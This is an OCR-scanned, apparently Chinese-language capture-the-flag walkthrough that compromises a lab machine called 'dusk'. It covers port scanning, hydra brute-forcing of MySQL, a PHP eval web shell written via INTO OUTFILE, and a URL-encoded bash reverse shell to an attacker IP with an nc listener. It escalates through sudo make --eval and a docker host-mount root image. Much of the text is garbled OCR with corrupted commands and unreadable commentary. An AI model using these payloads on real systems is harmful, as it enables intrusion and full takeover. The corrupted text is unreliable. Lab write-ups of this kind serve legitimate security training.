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nmap -sS -sV -p- 0-65535 192.168.34.170

:~# nmap -sS -sV -p- 0-65535 192.168.34.170
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-22 19:12 EST
Nmap scan report for localhost (192.168.34.170)
Host is up (0.0040s latency).
Not shown: 65529 closed ports
STATE SERVICE VERSION
open Ttp pyftpdlib 1.5.5
open ssh OpenSSH 7.9pl Debian 10+dehl@ (protocol 2.8)
open smtp PostTix smtpd
open http Apache httpd 2.4.38 ((Debian))

mysql  MySQL 5.5.5-10.3. 18-rv1ariig£-_0’ﬂ]ﬂ_
n http PHP cli server 5.5 or lateT (PHP 7.3.11-1)
C Address: 08:00:27:FC:63:09 (Oracle VirtualBox virtual NIC
Service Info: Host: dusk.dusk; 05: Linux; CPE: cpe:/o:Limf®fX:1linux_kernel

Service detection performed. Please report any incorrect results at hitpg//nmap.org/subml
Nmap done: 2 IP addresses (1 host up) scanned in 22.11 seconds
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gobuster dir -u "http://192.168.34.170" -w /usr/share/wordlists/dirb/big.txt -x php
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Threads:

Wordlist: /usr/share/wordlists/dirb/big.txt
Status codes: 200,204,301,302,307,401,403

User Agent: gobuster/3.0.1

Extensions: php

arting gobuster

atus: 403)
php (Status: 403)
d (Status: 403)
wd.php (Status: 403)
cript (Status: 301)
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(@ 192.168.34.170:8080
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systemd-private-9b50f8e08a014f6e98d426ee38d2b298-apache2.service-S8A12b
systemd-private-9b50f8e08a014f6e98d426ee38d2b298-systemd-timesyncd.service-yfLtSI
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Local working directory:/var/tmp
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hydra -1 root -P /usr/share/wordlists/rockyou.txt 192.168.34.170 mysql



:~# hydra -1 root -P /usr/share/wordlists/rockyou.txt 192.168.34.170 mysql
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purpo
ses.

Hydra (htt /github.com/vanhauser-thc/thc-hydra) starting at 2019-12-22 19:20:55
r of tasks to 4 (mysgl does not like many parallel connections)

er 1 server, overall 4 tasks, 14344399 login tries (1:1/p:14344399), ~-3586100 tries per task
2.168.34.170:3306/
.170  login: root password: password
ompleted, 1 valid p rd_found
b. com/vanhauser-thc/thc-hydra)

Y Hpassword
mysqlizEf2 &5k
mysql -h 192.168.34.170 -u root -p

select "<?php eval($_GET['cmd']);?>" into outfile "/var/tmp/4.php";

Y varimp RIS )i AT

¢ mysql -h 192.168.34.170 -u root -p

Enter password: m’_’—
Welcome to the MariaDB monitor. Commands end wi ; or \g.

Your MariaDB connection id is 45
Server version: 10.3.18-MariaDB-0+deblOul Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporatior; Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input stat

MariaDB [(none)]> select "<?php eval($ GET['cmd']);?=" into outfile “fvarﬁ”

- g

Query 0K, 1 row affected (0.003 sec)

MariaDB [(none)]> |

T ITbpdeL. & Hishell
Hifbashx #shell

echo "bash -i >& /dev/tcp/192.168.34.80/6666 0>&1" | bash



AT urlZm iy

echo "bash -i =& /dev/tcp/192.168.34.80/6666 0=&1" | bash

%65%63%68%6%20%22%62%61%73%68%20%2d%69%20% 3e%26%20% 2% 64 %65% 76 % 2% 74%63%7 0%2%31%39%32% 26 %31%36% 38 %2e %33%34 %2e%38%30 % 2% 36% 36 %36% 36 %20%30%3e %26 %31%22%20% 7 c% 20 %62 %6 1% 73 %63

# nc -lvp
listening on [any] 6666 ...
connect to [192.168.34.80] from localhost [192.168.34.170] 43010

bash: cannot set terminal process group (1097): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dusk: /var/tmps JJ

Cancel |
Request Response

Raw | Params | Headers | Hex %%ﬁqﬁ%}ﬁuﬂgﬁﬁg}%@% Raw Headers Hex

GET
/4. php?cmd=system(%65%63%68%6%20%22 %62 %61 %73 %68%20%2d %69 %20 %3e
%26%20%2%64%65 %76 % 2% 74 %63 %70 %2f%31%39%32%2e %31 %36%38%2e %33
%34%22%38%30%2{%36 %36 %36 %36 %20 %30 %36 %26%31 %22 %20 %7 ¢ %20 %62 %6
1%73%68); HTTR/1.1 -

Host: 192.168.34 170:8080
UserAgent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv:63.0) Gecko/20100101
Firefox/69.0

Accept: text/html application/shtml+xml application/xml;q=0.9**,q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=05 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

MBI BT T 22, S TERMX MBS E IR screen, ftw] LA b (clear) 1 -

export TERM=screen # M{Hxtermtn] L

sudo -1


https://blog.csdn.net/weixin_44214107/article/details/103544896

www-data@dusk: /var/tmp$ ssuuddoo --11

Matching Defaults entries for www-data on dusk:
env_reset, mail badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on dusk:
NOPASSWD: /fusr/bin/ping, /fusr/bin/make, /usr/bin/sl
www-dat sk:/var/tmps |
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makefi 4.

Rl.makefile 1y b 2 i K

MakefilesZiSEB—ZFFFHIN (rules) $9RE. EEFINRETLAIT.
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$'x:\n\t'/bin/sh

:~# echo $'x:\n\t'/bin/sh

/bin/sh

¥

g A E makefile U6 30, 45 KSR — T 3CH $HI X))

:~# echo 'x:\n\t'/bin/sh
x:\n\t/bin/sh
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sudo -u dusk make --eval=$'x:\n\t'/bin/sh


https://blog.csdn.net/u011471873/article/details/84104004
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makeftj—evalZ#, makeli—evalft)Z %L 4 fimakefileis f) T .

—debug[=FLAGS] FIElEMIEHER.

-, —environment-overrides WETEFE makefile thayZE.
—eval=STRING Evaluate STRING as a makefile statement.
-fFILE, —file=FILE, --makefile=FILE M\ FILE BN makefile,

-h, —-help FIENZEEFIER.

-i. -ianore-errors lanore errors from recipes.

AT

www-dat usk:/var/tmp$ sudo -u dusk make --eval=$'x:\n\t'/bin/shsudo -u dusk make --eval=$'x:\n\t'/bin/sh

/bin/sh
id

uid=1000(dusk) gid=1006(dusk) groups=1000(dusk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev), 1l
1(bluetooth),115(1padmin),116(scanner),123(docker)

133 1 dusk FH - creds(fE1IF)
Ngetf] T

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease



Al —F, LIRS, B TR ARSI E S 7 HER BB NES /hostos , NMiZlid /hostos XA H sk A A E LAk
H /AR H g - R At ZHE N AR shell

chrisfosterelli/rootpleases& —“~docker image. 75 Z kM T %31 A b
https://registry.hub.docker.com/r/chrisfosterelli/rootplease

docker run(-$) IMAGE [COMMAND] [ARG...] BT EE

-d EEERETTISRERS, Hilkfalse

L FIFTSTDIN, BT EHE3EE, Bilsfalse

-t SEyIRE, RALITERES, Hilkfale
-u, --user="" IEEE AR

-a, —attach=[] EIEE (WimELldocker run -dEFIAVERE)
-w EEESNI1EER

-C REERCPUNIE, ACPUEEIRSEA

-e, —-env=[] EEREEE, ESFLIERZHEEE
-m EEESRNNELR

-P, --publish-all=false {eEEEEE4EE0

-p, --publish=[] EEEEEEMEO
-h IEEESENENS
-v, --volume=[] SEFEREEES, FEIESENETER

—valimes-fram=I1  (SESBEHEMEE oS EHIASBOEABR
HFRHUEA LR, XEWREHEA 7B, R oEg - IHERR—-T. 5 REE.
IR K —#BEEA3Zh, LRBD, WMIALG B 24/ Ak
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